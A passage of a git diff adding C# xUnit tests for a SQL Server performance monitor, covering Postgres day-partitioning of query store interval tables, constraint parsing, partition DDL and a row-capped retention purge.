+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        var logger = new ListLogger();
+        var now = Now;
+        var s = Today.AddDays(2);
+
+        QueryStoreCollector.Row RowAt(long queryId, DateTime first) => new()
+        {
+            DatabaseName = "qsA",
+            QueryId = queryId,
+            PlanId = queryId + 10,
+            ExecutionTypeDesc = "Regular",
+            FirstExecutionTime = first,
+            LastExecutionTime = first.AddMinutes(1),
+            QueryHash = "0x" + queryId.ToString("X8", CultureInfo.InvariantCulture),
+            QueryPlanHash = "0x" + (queryId + 10).ToString("X8", CultureInfo.InvariantCulture),
+            ExecutionCount = 5,
+            AvgCpuTimeUs = 100,
+            AvgDurationUs = 200,
+            IsForcedPlan = false,
+            ForceFailureCount = 0,
+            RuntimeStatsIntervalId = 7,
+        };
+
+        var server = new ServerRuntime
+        {
+            Config = new MonitoredServer { Name = "qsip-5571", Host = "qsip-5571-host" },
+            ConnectionString = "Server=qsip-5571-host",
+            Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+            StorageName = "qsip-5571-host",
+            ServerId = serverId,
+            EngineEdition = 3,
+        };
+        var context = new CollectorContext { ServerId = serverId, ServerName = "qsip-5571-host", CollectionTime = DateTime.UtcNow, Deltas = new CollectorDeltaCalculator() };
+
+        /* Armed, not yet validated: a normal row and a row a monitored clock 2 days fast produced, in one batch. */
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct);
+        var batch1 = Today.AddHours(1);
+        await runner.WriteBackfillBatchAsync(
+            QueryStoreCollector.Instance,
+            new List<QueryStoreCollector.Row> { RowAt(1, Today.AddMinutes(30)), RowAt(2, s.AddHours(1)) },
+            server, batch1, context, ct);
+
+        /* The wide apply faulted (23514) and was parked; the latest table, not armed, took both rows; raw kept both. */
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide_pending WHERE server_id = {serverId} AND failure LIKE '23514%'", ct));
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide WHERE server_id = {serverId}", ct));
+        Assert.Equal(2L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_latest WHERE server_id = {serverId}", ct));
+        Assert.Equal(2L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_stats WHERE server_id = {serverId}", ct));
+
+        await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct);
+        await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct);
+
+        /* The next batch replays the parked one: the pending row clears and the refused row is in its own day. */
+        await runner.WriteBackfillBatchAsync(
+            QueryStoreCollector.Instance,
+            new List<QueryStoreCollector.Row> { RowAt(3, Today.AddMinutes(45)) },
+            server, batch1.AddMinutes(30), context, ct);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide_pending WHERE server_id = {serverId}", ct));
+        Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide WHERE server_id = {serverId}", ct));
+        Assert.Equal(Wide.DayPartition(s), await PartitionOfAsync(connection, Wide, 2, ct));
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalPartitionsTests.cs b/Darling/Darling.Tests/QueryStoreIntervalPartitionsTests.cs
new file mode 100644
index 0000000000..487c5308bf
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalPartitionsTests.cs
@@ -0,0 +1,314 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The day-partition background steps (#5571) without a store: the arm bound, the bound parsers, the days a promotion
+/// and a create-ahead make, which partitions a drop may take (with the microsecond edges), the DDL text, and the
+/// partitioned index path's inputs.
+/// </summary>
+public sealed class QueryStoreIntervalPartitionsTests
+{
+    private static readonly QueryStoreIntervalPartitions.IntervalTable Wide = QueryStoreIntervalPartitions.Wide;
+    private static readonly DateTime Now = new(2026, 10, 8, 14, 55, 30, 123, DateTimeKind.Utc);
+
+    private static DateTime Day(int month, int day) => new(2026, month, day, 0, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void TheTables_HaveTheFixedNamesAndTheRetentionHorizons()
+    {
+        Assert.Equal("collect.query_store_interval_wide", Wide.Parent);
+        Assert.Equal("collect.query_store_interval_wide_legacy", Wide.Legacy);
+        Assert.Equal("collect.query_store_interval_wide_default", Wide.Default);
+        Assert.Equal("ck_query_store_interval_wide_legacy_before", Wide.CheckName);
+        Assert.Equal("collect.query_store_interval_wide_p20261010", Wide.DayPartition(Day(10, 10)));
+        Assert.Equal("collect.query_store_interval_latest_p20261231", QueryStoreIntervalPartitions.Latest.DayPartition(Day(12, 31)));
+        Assert.Equal("ck_query_store_interval_latest_legacy_before", QueryStoreIntervalPartitions.Latest.CheckName);
+
+        /* The drop uses the same horizons as the row purge; one number, two homes, so they are pinned together. */
+        Assert.Equal(DarlingRetention.QueryStoreIntervalWideRetentionDays, QueryStoreIntervalPartitions.Wide.HorizonDays);
+        Assert.Equal(DarlingRetention.QueryStoreIntervalLatestRetentionDays, QueryStoreIntervalPartitions.Latest.HorizonDays);
+    }
+
+    [Theory]
+    [InlineData(2026, 10, 8, 0, 0, 0, 2026, 10, 10)]
+    [InlineData(2026, 10, 8, 23, 59, 59, 2026, 10, 10)]
+    [InlineData(2026, 10, 30, 12, 0, 0, 2026, 11, 1)]
+    [InlineData(2026, 12, 31, 1, 0, 0, 2027, 1, 2)]
+    public void TheArmBound_IsTodaysUtcMidnightPlusTwoDays(int y, int mo, int d, int h, int mi, int s, int ey, int emo, int ed)
+    {
+        Assert.Equal(new DateTime(ey, emo, ed), QueryStoreIntervalPartitions.ArmBound(new DateTime(y, mo, d, h, mi, s, DateTimeKind.Utc)));
+    }
+
+    [Fact]
+    public void ReArm_HappensForAnyCheckWithLessThanTwelveHoursLeft_ValidOrNot()
+    {
+        /* #5571 review H1: a valid CHECK that could not be promoted in time is re-armed too; the caller decides by validity. */
+        var s = Day(10, 10);
+        Assert.True(QueryStoreIntervalPartitions.ShouldReArm(s, new DateTime(2026, 10, 9, 12, 0, 1, DateTimeKind.Utc)));
+        Assert.True(QueryStoreIntervalPartitions.ShouldReArm(s, new DateTime(2026, 10, 10, 1, 0, 0, DateTimeKind.Utc)));
+        Assert.False(QueryStoreIntervalPartitions.ShouldReArm(s, new DateTime(2026, 10, 9, 12, 0, 0, DateTimeKind.Utc)));
+        Assert.False(QueryStoreIntervalPartitions.ShouldReArm(s, new DateTime(2026, 10, 8, 0, 0, 0, DateTimeKind.Utc)));
+    }
+
+    [Fact]
+    public void AValidate_NeverRunsIntoTheReArmWindow_ItsGuardIsItsDeadlinePlusTheWindow()
+    {
+        /* #5571 review round 2 L1: derived from the two values, not typed. */
+        var deadline = TimeSpan.FromSeconds(QueryStoreIntervalPartitions.ValidateTimeoutSeconds);
+        Assert.Equal(deadline + QueryStoreIntervalPartitions.ReArmWithin, QueryStoreIntervalPartitions.ValidateGuard);
+        Assert.Equal(TimeSpan.FromHours(14), QueryStoreIntervalPartitions.ValidateGuard);
+
+        var s = Day(10, 10);
+        Assert.True(QueryStoreIntervalPartitions.CanStartValidate(s, new DateTime(2026, 10, 9, 10, 0, 0, DateTimeKind.Utc)));
+        Assert.False(QueryStoreIntervalPartitions.CanStartValidate(s, new DateTime(2026, 10, 9, 10, 0, 1, DateTimeKind.Utc)));
+
+        /* A VALIDATE that starts at any instant the guard allows, and runs its whole deadline, ends before the hourly pass would
+           queue a re-arm behind it. */
+        for (var minutes = 0; minutes <= 48 * 60; minutes += 5)
+        {
+            var now = s.AddMinutes(-minutes);
+            if (QueryStoreIntervalPartitions.CanStartValidate(s, now))
+            {
+                Assert.False(QueryStoreIntervalPartitions.ShouldReArm(s, now + deadline), $"a VALIDATE started {minutes} min before S ends inside the re-arm window");
+            }
+        }
+    }
+
+    [Fact]
+    public void ALegacyMax_MoreThanOneHorizonPastTheNormalS_IsNotArmedOver_ButOneWithinItIs()
+    {
+        /* #5571 review round 2 M1. Now = 10-08, normal S = 10-10, the wide horizon is 9 days, so the last S that is armed over is 10-19. */
+        Assert.Equal(9, Wide.HorizonDays);
+        var now = new DateTime(2026, 10, 8, 14, 0, 0, DateTimeKind.Utc);
+        Assert.False(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, null, Wide.HorizonDays));
+        Assert.False(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, new DateTime(2026, 10, 8, 13, 0, 0), Wide.HorizonDays));
+        Assert.False(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, new DateTime(2026, 10, 14, 5, 0, 0), Wide.HorizonDays));
+
+        var last = new DateTime(2026, 10, 18, 23, 59, 59, 999, DateTimeKind.Unspecified).AddTicks(9990);   /* 23:59:59.999999 */
+        Assert.Equal(Day(10, 19), QueryStoreIntervalPartitions.ArmBoundFor(now, last));
+        Assert.False(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, last, Wide.HorizonDays));
+        Assert.True(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, Day(10, 19), Wide.HorizonDays));
+        Assert.True(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, new DateTime(2027, 10, 8), Wide.HorizonDays));
+
+        /* The end of the representable range cannot be armed over either: the CHECK could never validate. */
+        Assert.True(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, DateTime.MaxValue, Wide.HorizonDays));
+        Assert.True(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, DateTime.MaxValue.AddDays(-2), Wide.HorizonDays));
+
+        /* The latest table has its own horizon. */
+        Assert.True(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, Day(10, 19), 3));
+        Assert.False(QueryStoreIntervalPartitions.IsLegacyMaxBeyondHorizon(now, Day(10, 12), 3));
+    }
+
+    [Fact]
+    public void TheArmBound_IsTheLaterOfTheNormalBoundAndTheDayAfterTheLegacyMaximum()
+    {
+        var now = new DateTime(2026, 10, 8, 14, 0, 0, DateTimeKind.Utc);
+        var normal = Day(10, 10);
+        Assert.Equal(normal, QueryStoreIntervalPartitions.ArmBoundFor(now, null));
+        Assert.Equal(normal, QueryStoreIntervalPartitions.ArmBoundFor(now, new DateTime(2026, 10, 8, 13, 0, 0)));
+
+        /* The last instant before S, and S itself: a row AT S would be refused, so the day after it. */
+        Assert.Equal(normal, QueryStoreIntervalPartitions.ArmBoundFor(now, normal.AddTicks(-10)));
+        Assert.Equal(Day(10, 11), QueryStoreIntervalPartitions.ArmBoundFor(now, normal));
+        Assert.Equal(Day(10, 15), QueryStoreIntervalPartitions.ArmBoundFor(now, new DateTime(2026, 10, 14, 23, 59, 59, 999)));
+
+        /* A maximum at the end of the representable range cannot overflow the arm. */
+        Assert.Equal(normal, QueryStoreIntervalPartitions.ArmBoundFor(now, DateTime.MaxValue));
+    }
+
+    [Fact]
+    public void ALaterBound_CreatesNoDayBelowItAndKeepsTheLegacyTableUntilItsBoundExpires()
+    {
+        /* S = 10-15 is five days ahead of Now (10-08): neither the promotion nor a create-ahead makes a day below it. */
+        var s = Day(10, 15);
+        Assert.Empty(QueryStoreIntervalPartitions.PromotionDays(s, Now));
+        var legacy = new QueryStoreIntervalPartitions.PartitionInfo("collect.query_store_interval_wide_legacy", false, null, s, false);
+        Assert.Empty(QueryStoreIntervalPartitions.CreateAheadDays(QueryStoreIntervalPartitions.NewestUpper(new[] { legacy }), Now, 9));
+
+        /* Three days ahead of the clock reaches S: the first day created is S itself. */
+        var later = new DateTime(2026, 10, 12, 1, 0, 0, DateTimeKind.Utc);
+        Assert.Equal(
+            new[] { Day(10, 15) },
+            QueryStoreIntervalPartitions.CreateAheadDays(QueryStoreIntervalPartitions.NewestUpper(new[] { legacy }), later, 9));
+
+        /* The legacy table is dropped when S is at or below the cutoff (nine days after S), not before. */
+        Assert.Empty(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, Day(10, 14)));
+        Assert.Single(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, Day(10, 15)));
+        Assert.Empty(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, QueryStoreIntervalPartitions.Cutoff(Day(10, 20), 9).AddTicks(-10)));
+        Assert.Single(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, QueryStoreIntervalPartitions.Cutoff(Day(10, 24), 9)));
+    }
+
+    [Theory]
+    [InlineData("CHECK ((first_execution_time < '2026-10-10 00:00:00'::timestamp without time zone)) NOT VALID", true, "2026-10-10 00:00:00.000000")]
+    [InlineData("CHECK ((first_execution_time < '2026-10-10 00:00:00.5'::timestamp without time zone))", true, "2026-10-10 00:00:00.500000")]
+    [InlineData("CHECK ((first_execution_time < '2026-10-10 00:00:00.123456'::timestamp without time zone))", true, "2026-10-10 00:00:00.123456")]
+    [InlineData("CHECK ((other_column < 5))", false, null)]
+    [InlineData("", false, null)]
+    public void TheCheckBound_IsReadBackFromTheConstraintText(string definition, bool expected, string? bound)
+    {
+        Assert.Equal(expected, QueryStoreIntervalPartitions.TryParseCheckBound(definition, out var value));
+        if (expected)
+        {
+            Assert.Equal(bound, value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", System.Globalization.CultureInfo.InvariantCulture));
+        }
+    }
+
+    [Fact]
+    public void ThePartitionBounds_AreParsedForTheShapesThisCodeWrites()
+    {
+        Assert.True(QueryStoreIntervalPartitions.TryParsePartitionBound("DEFAULT", out var isDefault, out var lo, out var hi, out var unbounded));
+        Assert.True(isDefault);
+        Assert.Null(lo);
+        Assert.Null(hi);
+        Assert.False(unbounded);
+
+        Assert.True(QueryStoreIntervalPartitions.TryParsePartitionBound(
+            "FOR VALUES FROM (MINVALUE) TO (MAXVALUE)", out isDefault, out lo, out hi, out unbounded));
+        Assert.False(isDefault);
+        Assert.Null(lo);
+        Assert.Null(hi);
+        Assert.True(unbounded);
+
+        Assert.True(QueryStoreIntervalPartitions.TryParsePartitionBound(
+            "FOR VALUES FROM (MINVALUE) TO ('2026-10-10 00:00:00')", out isDefault, out lo, out hi, out unbounded));
+        Assert.Null(lo);
+        Assert.Equal(Day(10, 10), hi);
+        Assert.False(unbounded);
+
+        Assert.True(QueryStoreIntervalPartitions.TryParsePartitionBound(
+            "FOR VALUES FROM ('2026-10-10 00:00:00') TO ('2026-10-11 00:00:00')", out isDefault, out lo, out hi, out unbounded));
+        Assert.Equal(Day(10, 10), lo);
+        Assert.Equal(Day(10, 11), hi);
+
+        Assert.False(QueryStoreIntervalPartitions.TryParsePartitionBound("FOR VALUES IN (1)", out _, out _, out _, out _));
+        Assert.False(QueryStoreIntervalPartitions.TryParsePartitionBound(null, out _, out _, out _, out _));
+    }
+
+    [Fact]
+    public void ThePromotion_CreatesEveryDayFromSThroughThreeDaysAhead()
+    {
+        var days = QueryStoreIntervalPartitions.PromotionDays(Day(10, 10), Now);
+        Assert.Equal(new[] { Day(10, 10), Day(10, 11) }, days);
+
+        /* Promoted late: no hole between S and the clock. */
+        var late = QueryStoreIntervalPartitions.PromotionDays(Day(10, 10), new DateTime(2026, 10, 13, 5, 0, 0, DateTimeKind.Utc));
+        Assert.Equal(new[] { Day(10, 10), Day(10, 11), Day(10, 12), Day(10, 13), Day(10, 14), Day(10, 15), Day(10, 16) }, late);
+
+        /* A clock that went backwards: S is past the horizon of days to make, so DEFAULT alone takes over. */
+        Assert.Empty(QueryStoreIntervalPartitions.PromotionDays(Day(10, 20), Now));
+    }
+
+    [Fact]
+    public void TheCreateAhead_FillsFromTheNewestPartitionThroughThreeDaysAheadWithNoHoles()
+    {
+        /* Newest upper bound is the 12th: the 12th, 13th and 14th... through today (8th) + 3 = the 11th is already covered. */
+        Assert.Empty(QueryStoreIntervalPartitions.CreateAheadDays(Day(10, 12), Now, 9));
+
+        /* Newest ends at the 10th (its upper bound): the 10th and the 11th are missing. */
+        Assert.Equal(new[] { Day(10, 10), Day(10, 11) }, QueryStoreIntervalPartitions.CreateAheadDays(Day(10, 10), Now, 9));
+
+        /* An outage: the newest day ended on the 3rd, so the 3rd to the 11th are all made, none skipped. */
+        var outage = QueryStoreIntervalPartitions.CreateAheadDays(Day(10, 3), Now, 9);
+        Assert.Equal(Enumerable.Range(3, 9).Select(d => Day(10, d)).ToArray(), outage);
+
+        /* Older than the horizon is never created (the next drop would remove it at once): 9 days before the 8th is the 29th. */
+        var stale = QueryStoreIntervalPartitions.CreateAheadDays(Day(9, 1), Now, 9);
+        Assert.Equal(Day(9, 29), stale[0]);
+        Assert.Equal(Day(10, 11), stale[^1]);
+        Assert.Equal(stale.Count, stale.Distinct().Count());
+
+        /* No partition at all: today through today + 3. */
+        Assert.Equal(new[] { Day(10, 8), Day(10, 9), Day(10, 10), Day(10, 11) }, QueryStoreIntervalPartitions.CreateAheadDays(null, Now, 9));
+    }
+
+    private static QueryStoreIntervalPartitions.PartitionInfo DayPartition(int month, int day) =>
+        new($"collect.query_store_interval_wide_p2026{month:00}{day:00}", false, Day(month, day), Day(month, day).AddDays(1), false);
+
+    [Fact]
+    public void TheDrop_TakesWholeExpiredDaysAndKeepsAPartialOne()
+    {
+        var legacy = new QueryStoreIntervalPartitions.PartitionInfo("collect.query_store_interval_wide_legacy", false, null, Day(10, 2), false);
+        var unboundedLegacy = new QueryStoreIntervalPartitions.PartitionInfo("collect.query_store_interval_wide_legacy", false, null, null, true);
+        var dflt = new QueryStoreIntervalPartitions.PartitionInfo("collect.query_store_interval_wide_default", true, null, null, false);
+        var partitions = new[] { DayPartition(10, 5), DayPartition(10, 3), DayPartition(10, 4), DayPartition(10, 8), dflt, legacy };
+
+        /* Cutoff = 2026-10-04 12:00 (a Now - 9 d): the 2nd (legacy) and the 3rd have fully expired; the 4th ends at 10-05 00:00 > cutoff. */
+        var dropped = QueryStoreIntervalPartitions.ExpiredPartitions(partitions, new DateTime(2026, 10, 4, 12, 0, 0));
+        Assert.Equal(
+            new[] { "collect.query_store_interval_wide_legacy", "collect.query_store_interval_wide_p20261003" },
+            dropped.Select(p => p.Name).ToArray());
+
+        /* An unbounded legacy table and DEFAULT are never dropped, whatever the cutoff. */
+        Assert.Empty(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { unboundedLegacy, dflt }, DateTime.MaxValue));
+
+        /* Legacy goes exactly when S <= cutoff, to the microsecond; a day goes when its upper bound is the cutoff. */
+        var s = Day(10, 2);
+        Assert.Single(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, s));
+        Assert.Empty(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { legacy }, s.AddTicks(-10)));
+        Assert.Single(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { DayPartition(10, 3) }, Day(10, 4)));
+        Assert.Empty(QueryStoreIntervalPartitions.ExpiredPartitions(new[] { DayPartition(10, 3) }, Day(10, 4).AddTicks(-10)));
+    }
+
+    [Fact]
+    public void TheCutoff_KeepsTheClocksMicroseconds()
+    {
+        var cutoff = QueryStoreIntervalPartitions.Cutoff(new DateTime(2026, 10, 8, 14, 55, 30, DateTimeKind.Utc).AddTicks(1230), 9);
+        Assert.Equal(new DateTime(2026, 9, 29, 14, 55, 30).AddTicks(1230), cutoff);
+        Assert.Equal(DateTimeKind.Unspecified, cutoff.Kind);
+    }
+
+    [Fact]
+    public void TheDdl_UsesTheFixedNamesAndFillfactorFifty()
+    {
+        var s = Day(10, 10);
+        Assert.Equal(
+            "ALTER TABLE collect.query_store_interval_wide_legacy ADD CONSTRAINT ck_query_store_interval_wide_legacy_before "
+            + "CHECK (first_execution_time < '2026-10-10 00:00:00'::timestamp) NOT VALID;",
+            QueryStoreIntervalPartitions.AddCheckSql(Wide, s));
+        Assert.Equal(
+            "ALTER TABLE collect.query_store_interval_wide_legacy VALIDATE CONSTRAINT ck_query_store_interval_wide_legacy_before;",
+            QueryStoreIntervalPartitions.ValidateSql(Wide));
+        Assert.Equal(
+            "CREATE TABLE collect.query_store_interval_wide_p20261010 PARTITION OF collect.query_store_interval_wide "
+            + "FOR VALUES FROM ('2026-10-10 00:00:00') TO ('2026-10-11 00:00:00') WITH (fillfactor = 50);",
+            QueryStoreIntervalPartitions.CreateDaySql(Wide, s));
+        Assert.Equal(
+            "CREATE TABLE collect.query_store_interval_wide_default PARTITION OF collect.query_store_interval_wide DEFAULT WITH (fillfactor = 50);",
+            QueryStoreIntervalPartitions.CreateDefaultSql(Wide));
+    }
+
+    [Fact]
+    public void ThePartitionedIndexPath_HasADefinitionForEverySpec_AndItMatchesThePlainBuild()
+    {
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            Assert.False(string.IsNullOrEmpty(spec.IndexDefinition), spec.IndexName);
+            Assert.Contains(spec.IndexDefinition, spec.PlainCreateSql, StringComparison.Ordinal);
+
+            /* A leaf index name is the parent's short name + "_" + the longest leaf suffix ("p20261010", "legacy", "default"), <= 63. */
+            var shortName = spec.IndexName[(spec.IndexName.LastIndexOf('.') + 1)..];
+            Assert.True(shortName.Length + "_p20261010".Length <= 63, spec.IndexName);
+        }
+    }
+
+    [Fact]
+    public void ThePlainPath_StillNeverRunsOnAPartitionedTable()
+    {
+        /* The state read reports the table's relkind (the 5th column), which EnsureAsync routes on. */
+        Assert.Contains("relkind", QueryStoreBackgroundIndexes.StateSql, StringComparison.Ordinal);
+        Assert.Contains("table_kind", QueryStoreBackgroundIndexes.StateSql, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalPurgeRowCappedTests.cs b/Darling/Darling.Tests/QueryStoreIntervalPurgeRowCappedTests.cs
new file mode 100644
index 0000000000..78e213d759
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalPurgeRowCappedTests.cs
@@ -0,0 +1,622 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5569: the retention purge of <c>collect.query_store_interval_wide</c> and
+/// <c>collect.query_store_interval_latest</c> deletes in row-capped batches (the plan dimension's adaptive drain),
+/// not one whole-day slice. A day of the wide table is millions of rows on a large store, so the old single
+/// DELETE passed the 300 s command timeout, rolled back, and the next pass picked the same day and failed again.
+///
+/// <para>Source pins first (which tables take the adaptive form, and which keep the time slice), then live
+/// tests on a scratch database: a multi-day backlog drains in several batches inside the command timeout and
+/// leaves rows inside the horizon alone; the horizon keeps microsecond precision; a pass that hits a timeout
+/// leaves the table consistent, logs the failure with the rows it reached, halves its cap, and the next pass
+/// finishes the drain.</para>
+///
+/// <para>Both tables' <c>first_execution_time</c> is <c>timestamp NOT NULL</c> (V143/V145), so the NULL case the
+/// old and new predicates would treat alike (<c>NULL &lt; $1</c> is not true, so neither deletes the row) cannot
+/// occur; the predicate itself, <c>first_execution_time &lt; $1</c>, is unchanged between the two forms.</para>
+/// </summary>
+/* #1776 own-store: everything here lives inside its own ScratchPostgres database, so it cannot race live
+   collection or any other class's tables. */
+public sealed class QueryStoreIntervalPurgeRowCappedTests
+{
+    private const string SkipReason =
+        "Set DARLING_TEST_PG to a Postgres connection string to run the #5569 interval-purge live tests.";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>Per-table facts the shared test bodies need: the table, its horizon, and its seed statement.</summary>
+    public sealed record IntervalTable(string Name, int HorizonDays)
+    {
+        public string Qualified => "collect." + Name;
+
+        /* #5571: the interval tables are day-partitioned, and the row-capped purge targets the renamed
+           pre-partitioning table by name, so this is the name the purge's log lines and failures carry. */
+        public string Legacy => Qualified + "_legacy";
+
+        public override string ToString() => Name;
+    }
+
+    public static TheoryData<IntervalTable> Tables => new()
+    {
+        new IntervalTable(QueryStoreIntervalWide.TableName, DarlingRetention.QueryStoreIntervalWideRetentionDays),
+        new IntervalTable(QueryStoreIntervalLatest.TableName, DarlingRetention.QueryStoreIntervalLatestRetentionDays),
+    };
+
+    /* ---- source pins ---------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// Both interval fact tables call <c>PurgeOneAsync</c> with the row-capped statement, the ceiling as the batch
+    /// size (so the drain loop's "a full-cap batch means there may be more" contract applies), and the adaptive
+    /// time column; neither uses the one-day slice. Their pending-replay tables keep the slice on
+    /// <c>recorded_at</c> (small, and not the table that timed out).
+    /// </summary>
+    [Fact]
+    public void BothIntervalFactTables_TakeTheAdaptiveRowCap_OnTheLegacyTable_PendingTablesKeepTheSlice()
+    {
+        var source = ReadRetentionSource();
+
+        /* #5571: the sweep no longer purges the fact tables by their own names. Each goes through
+           PurgeIntervalTableAsync, which row-caps the LEGACY table by name. */
+        foreach (var table in new[] { "Latest", "Wide" })
+        {
+            Assert.Contains($"PurgeIntervalTableAsync(\n                postgres, QueryStoreIntervalPartitions.{table}, utcNow", source.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("PurgeOneAsync(\n                postgres, QueryStoreIntervalLatest.TableName", source.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        Assert.DoesNotContain("PurgeOneAsync(\n                postgres, QueryStoreIntervalWide.TableName", source.Replace("\r\n", "\n"), StringComparison.Ordinal);
+
+        var at = source.IndexOf("var legacyDeleted = await PurgeOneAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the legacy purge call moved");
+        var end = source.IndexOf("pacer: pacer);", at, StringComparison.Ordinal);
+        Assert.True(end > at, "the legacy purge call has no pacer argument");
+        var call = source[at..end];
+
+        Assert.Contains("postgres, table.Legacy", call, StringComparison.Ordinal);
+        Assert.Contains("RowCappedDeleteSql(table.Legacy", call, StringComparison.Ordinal);
+        Assert.Contains("batchSize: IntervalDeleteRowCap", call, StringComparison.Ordinal);
+        Assert.Contains("adaptiveRowCapTimeColumn: \"first_execution_time\"", call, StringComparison.Ordinal);
+        Assert.DoesNotContain("TimeSlicedDeleteSql(", call, StringComparison.Ordinal);
+        /* The top defect for the partitioned tables: a ctid IN (SELECT ctid ...) against the PARENT can delete live
+           rows of another day, because a ctid repeats across partitions. */
+        Assert.DoesNotContain("table.Parent", call, StringComparison.Ordinal);
+        Assert.DoesNotContain("table.Name", call, StringComparison.Ordinal);
+
+        foreach (var (anchor, table) in new[]
+                 {
+                     ("var intervalPendingDeleted = await PurgeOneAsync(", "QueryStoreIntervalLatest"),
+                     ("var intervalWidePendingDeleted = await PurgeOneAsync(", "QueryStoreIntervalWide"),
+                 })
+        {
+            var pendingAt = source.IndexOf(anchor, StringComparison.Ordinal);
+            Assert.True(pendingAt >= 0, $"the {table} pending purge call moved");
+            var pendingEnd = source.IndexOf("pacer: walPacer);", pendingAt, StringComparison.Ordinal);
+            var pendingCall = source[pendingAt..pendingEnd];
+
+            Assert.Contains("TimeSlicedDeleteSql(", pendingCall, StringComparison.Ordinal);
+            Assert.Contains("\"recorded_at\"", pendingCall, StringComparison.Ordinal);
+            Assert.DoesNotContain("adaptiveRowCapTimeColumn", pendingCall, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// The statement the sweep runs for each interval table: ordered by the indexed column, capped, bound by the
+    /// same strict <c>&lt; $1</c> predicate the time slice used (no cast, no truncation, so the horizon keeps its
+    /// microseconds), and RETURNING the time value. The first batch of a pass has no lower bound; every later
+    /// batch is bounded below by the keyset cursor (<c>&gt;= $2</c>), so it does not re-read the index entries of
+    /// rows earlier batches deleted.
+    /// </summary>
+    [Fact]
+    public void TheIntervalPurgeStatement_IsOrderedCappedStrictlyBelowTheHorizon_AndCursoredAfterTheFirstBatch()
+    {
+        Assert.Equal(
+            "DELETE FROM collect.query_store_interval_wide WHERE ctid IN ("
+          + "SELECT ctid FROM collect.query_store_interval_wide WHERE first_execution_time < $1 "
+          + "ORDER BY first_execution_time LIMIT 50000) RETURNING first_execution_time",
+            DarlingRetention.CursoredRowCappedDeleteSql(
+                "collect.query_store_interval_wide", "first_execution_time", DarlingRetention.IntervalDeleteRowCap, hasCursor: false));
+        Assert.Equal(
+            "DELETE FROM collect.query_store_interval_wide WHERE ctid IN ("
+          + "SELECT ctid FROM collect.query_store_interval_wide WHERE first_execution_time < $1 "
+          + "AND first_execution_time >= $2 "
+          + "ORDER BY first_execution_time LIMIT 50000) RETURNING first_execution_time",
+            DarlingRetention.CursoredRowCappedDeleteSql(
+                "collect.query_store_interval_wide", "first_execution_time", DarlingRetention.IntervalDeleteRowCap, hasCursor: true));
+        Assert.Equal(DarlingRetention.PlanDimDeleteRowCap, DarlingRetention.IntervalDeleteRowCap);
+        Assert.True(DarlingRetention.IntervalDeleteRowCap > DarlingRetention.PlanDimDeleteRowFloor);
+    }
+
+    /// <summary>
+    /// The adaptive drain in <c>PurgeOneAsync</c> carries the cursor from one batch to the next, and only
+    /// advances it after an attempt succeeded (a timed-out attempt retries from the same cursor).
+    /// </summary>
+    [Fact]
+    public void TheAdaptiveDrain_CarriesTheCursorForward()
+    {
+        var source = ReadRetentionSource();
